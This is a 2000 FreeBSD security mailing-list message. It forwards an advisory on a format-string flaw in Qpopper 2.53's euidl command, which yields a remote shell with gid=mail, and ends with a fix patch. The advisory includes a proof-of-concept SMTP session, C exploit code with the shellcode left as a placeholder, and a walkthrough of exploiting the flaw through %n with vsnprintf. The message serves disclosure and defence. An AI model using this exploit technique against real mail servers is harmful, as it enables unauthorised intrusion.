Date: Wed, 24 May 2000 16:40:00 -0500 (CDT) From: Jeremy Shaffner <jer@jorsm.com> To: freebsd-security@freebsd.org Subject: QPOPPER: Remote gid mail exploit Message-ID: <Pine.BSF.4.21.0005241633020.7700-100000@mercury.jorsm.com>
next in thread | raw e-mail | index | archive | help
[Patch is at the end] Here is the original advisory. Note that the actual advisory is correct WRT the file and line numbers. The posts on Bugtraq indicate to patch pop_msg.c instead of pop_uidl.c. ------>8---------- =09 _____________________________________________________________________ =09 b u f f e r 0 v e r f l 0 w s e c u r i t y a d v i s o r y # 5= =20 =09=09=09 =09=09 Advisory Name: Remote shell via Qpopper2.53 =09=09 Date: 5/23/00 =09 =09 Application: Qpopper 2.53 for *NIX =09 Vendor: Qualcomm Incorporated =09=09 WWW: www.qualcomm.com =09=09 Severity: can give users remote shell with gid=3Dmail. =09=09 Author: prizm (prizm@resentment.org) =09=09=09 Homepage: b0f.freebsd.lublin.pl * Overview =09Qpopper is the most widely-used server for the POP3 protocol. This allow= s users to=20 =09access their mail using any POP3 client. Qpopper supports the latest st= andards, and includes a large number of optional features. Qpopper is norma= lly used with standard UNIX mail transfer and delivery agents such as sendmail or= smail.=20 * The Problem =09Yes, Qpop, again and again...=20 =09There is a bug in version 2.53 of Qpop that can give you a remote =09shell with gid=3Dmail. Problem is with euidl command which uses user inp= ut as=20 =09format string for pop_msg() function. =09Lets examine following code from Qpop 2.53 source: =09--> pop_uidl.c, around line 150: =09 ................ =09 sprintf(buffer, "%d %s", msg_id, mp->uidl_str); =09 if (nl =3D index(buffer, NEWLINE)) *nl =3D 0; =09 sprintf(buffer, "%s %d %.128s", buffer, mp->length, from_hdr(p, = mp)); =09 ! return (pop_msg (p,POP_SUCCESS, buffer)); ^^^^^^^^^^^^^ =09 ................. =09Function pop_msg() is declared in pop_msg.c as pop_msg(POP *p, int stat, =09const char *format,...), and here we have user-input as format string. L= ame.=20 =09Ok, back to problem, imagine following smtp session: =09 MAIL FROM:<hakker@evil.org> =09 200 Ok =09 RCPT TO:<luser@host.withqpop253.com> =09 200 Ok =09 data =09 200 Okey, okey. end with "." =09 Subject: still trust qpop?=3D/ =09 X-UIDL: AAAAAAAAAAAAAAAA =09 From: %p%p%p%p%p%p%p =09 test =09 . =09 200 BLABLABLA Ok, message accepted for delivery. =09 Then, luser connects with his pop account and runs euidl command there= : =09=09+OK QPOP (version 2.53) at b0f starting. <666.666@b0f> =09=09USER luser =09=09+OK Password required for luser. =09=09PASS secret =09=09+OK luser has 3 messages (1644 octets). =09=09euidl 3 =09=09+OK 2 AAAAAAAAAAAAAAAA 530 0xbfbfc9b00x804fd740xbfbfc9b00x2120x8052e5= e0xbfbfd1e80x8057028 =09 Yeah, thats from my box with FreeBSD. As you can see, our %p%p%p%p%p%p= %p =09 where implemented as arguments for vsnprintf() command. * Exploiting Is this possible? Yeah, sure! =09 But there are some limits. Qpopper2.53 from FreeBSD ports with patches = is=20 =09 much more difficult to exploit than one from linux. It is because freeb= sd=20 =09 patches change vsprintf() call in pop_msg.c to vsnprintf() call, and th= ere is =09 big difference between them. Qpopper with FreeBSD's patches IS exploita= ble. Exploit ------- /* qpop_euidl.c exploit by prizm/Buffer0verflow Security * * Sample exploit for buffer overflow in Qpopper 2.53. * This little proggie generates a mail u need to send. * * Standard disclaimer applies. * By the way, exploit is broken =3D) You need to insert shellcode. * * MAD greets to tf8 for pointing out the bug, and all other b0f members. * greets to USSRLabs and ADM * check http://b0f.freebsd.lublin.pl/ for news. */ #include <stdio.h> #include <string.h> char shellcode[]=3D"imnothing"; int main(int argc, char *argv[]) { =09int i; =09unsigned long ra=3D0; =09if(argc!=3D2) { =09=09fprintf(stderr,"Usage: %s return_addr\n", argv[0]); =09=09exit(0); =09} =09sscanf(argv[1], "%x", &ra); =09if(!ra)=20 =09=09return; =09if(sizeof(shellcode) < 12 || sizeof(shellcode) > 76) { =09=09fprintf(stderr,"Bad shellcode\n"); =09=09exit(0); =09} =09fprintf(stderr,"return address: 0x%.8x\n", ra); =09printf("X-UIDL: "); =09for(i=3D0; i < sizeof(shellcode);i++) =09=09printf("%c", shellcode[i]); =09printf("\r\n"); =09printf("From: %s", "%.1000d"); =09for(i=3D0; i < 50; i++)=20 =09=09printf("%c%c%c%c", (ra & 0xff), (ra & 0xff00)>>8, (ra & 0xff0000)>>16= , (ra & 0xff000000)>>24); =09printf("@test\r\n"); =09printf("Subject: test\r\n\r\nhuh?\r\n.\r\n"); =09return 0; } =09Exploiting QPOP from FreeBSD ports =09---------------------------------- =09It is NOT easy, because vsprintf() is replaced with vsnprintf() so we ca= n't =09overflow stack, but we still have control over it (remeber %n?). =09Im not going to post exploit for this because it is really generic, but = I =09will explain theory on exploiting qpop with vsNprintf. =09There is an little trick with %n YOu should know. Try to understand why =09folowing code succeeds and prints out 2000, not sizeof(b): ---<cut>--- #include <stdio.h> int main(void){ int s=3D1; char b[1024]; int q; snprintf(b, sizeof(b), "%.2000d%n", 1, &q); return printf("%d, overflowed? %s\n", q, (s=3D=3D1?"NO":"YES")); } ---</cut>--- =09On my box with FreeBSD 3.4 i have: =092000, overflowed? NO =09Hah, first time i expected to see 1024, but YOu know that all is =09unpredictable . So, this little thing will help us a lot. =09Exploiting it: =09a) Find where in stack is located user input. =09b) Compose a message with filed X-UIDL and From: =09=09X-UIDL: ppRETARETARETARETA =09=09From: <SHELLCODE>%.RETURNd%n@test =09where: =09"pp"=09=09=09is for padding (two or three chars) =09"RETA"=09=09is return address pointing to SHELLCODE =09"SHELLCODE"=09=09guess =09"RETURN"=09=09return address =09c) Exploit? If you need an exploit that will work on FreeBSD, code it yo= urself. * Vulnerable Versions =092.53(Others?) =20 * Fix =09You can download Qpopper 3.1 at http://www.eudora.com/freeware/qpop.html= #CURRENT which is not vulnerable to this problem. =09Or you can manually patch it by doing the following:=20 =09 At lines 152 and 62 from pop_uidl.c, replace: =09- return (pop_msg (p,POP_SUCCESS, buffer)); =09 to: =09+ return (pop_msg (p,POP_SUCCESS, "%s", buffer)); =09=09=09 =09=09=09=09=09 copyright =A9 1999-2000 =09=09=09=09 prizm, buffer0verfl0w security =09=09=09=09=09 b0f.freebsd.lublin.pl ---------->8------------=20 Here is the resulting patch: ---------8<-------- --- pop_uidl.c.orig Wed May 24 15:58:53 2000 +++ pop_uidl.c Wed May 24 16:21:56 2000 @@ -59,7 +59,7 @@ =20 sprintf(buffer, "%d %s", msg_id, mp->uidl_str); if (nl =3D index(buffer, NEWLINE)) *nl =3D 0; - return (pop_msg (p,POP_SUCCESS, buffer)); + return (pop_msg (p,POP_SUCCESS, "%s", buffer)); } } else { /* yes, we can do this */ @@ -149,7 +149,7 @@ sprintf(buffer, "%d %s", msg_id, mp->uidl_str); if (nl =3D index(buffer, NEWLINE)) *nl =3D 0; sprintf(buffer, "%s %d %.128s", buffer, mp->length, from_hdr(p, mp)); - return (pop_msg (p,POP_SUCCESS, buffer)); + return (pop_msg (p,POP_SUCCESS, "%s", buffer)); } } else { /* yes, we can do this */ ------->8----------=20 --- Jeremy Shaffner System Administrator JORSM Internet jer@jorsm.com http://www.jorsm.com/~jer/pgp.key To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message
Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?Pine.BSF.4.21.0005241633020.7700-100000>